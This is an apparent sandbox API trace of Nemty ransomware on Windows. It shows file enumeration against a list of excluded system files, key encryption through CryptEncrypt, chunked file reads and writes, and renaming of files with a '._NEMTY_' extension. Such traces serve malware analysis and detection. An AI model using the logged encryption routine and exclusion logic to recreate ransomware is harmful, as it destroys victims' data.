WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.854] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.864] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.870] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.870] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.870] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0057.877] CloseHandle (hObject=0xffffffff) returned 0 [0057.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0057.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0057.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0057.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0057.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0057.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0057.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.877] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png._nemty_kgobjgd_")) returned 0 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0057.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.877] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2=".") returned 1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2="..") returned 1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2="...") returned 1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2="windows") returned -1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2="$RECYCLE.BIN") returned 1 [0057.877] lstrcmpiW (lpString1="content-foreground.png", lpString2="rsa") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="NTDETECT.COM") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntldr") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="MSDOS.SYS") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="IO.SYS") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="boot.ini") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="boot.ini") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="AUTOEXEC.BAT") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntuser.dat") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="desktop.ini") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="CONFIG.SYS") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="RECYCLER") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="BOOTSECT.BAK") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootmgr") returned 1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="programdata") returned -1 [0057.878] lstrcmpiW (lpString1="content-foreground.png", lpString2="appdata") returned 1 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-foreground.png", lpUsedDefaultChar=0x0) returned 22 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-foreground.png", lpUsedDefaultChar=0x0) returned 22 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-foreground.png", lpUsedDefaultChar=0x0) returned 22 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0057.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="content-foreground.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="content-foreground.png", lpUsedDefaultChar=0x0) returned 22 [0057.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0057.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0057.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0057.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0057.879] Sleep (dwMilliseconds=0x5) [0057.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd626d350, dwHighDateTime=0x1d561e7)) [0057.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd626d350, dwHighDateTime=0x1d561e7)) [0057.890] GetLastError () returned 0x5 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0057.890] GetLastError () returned 0x5 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0057.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0057.890] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0057.890] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0057.890] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0057.890] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="eWDRv8Gqcu01+uCQCaCow1fRmyixsQkh5jaN+VvjW4puLbpNHe5pIo74QR6FqSPq\r\n+P1uVUQLxZsdFuh7ZIujopvAgsjgB5CZL0FGOVrBivUsthtjS3zfHwgR3szMcKhV\r\n1mN1StharjlfXV6BNttf77DLl+x1MRmQnQL++N7bEMOwd3m+ewaeX1BKqiSiawDn\r\noqbaD68QDUshlhCegeVkynsSIc7qWwx4MLZ69XgICFFmaGkwiG2H6uqwvG8m7m3t\r\nsjHFgZPV3Ars4BS8JSYN+8JshPC0KvV55Pr9Zmyk4Yqw+ZslXyrvIzCqabBYO8tj\r\ncT9cCxmxMaChB6K/VBl3cw==\r\n", pcchString=0x653e91c) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0057.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0057.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0057.890] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0057.890] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0057.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0057.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0057.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0057.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0057.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 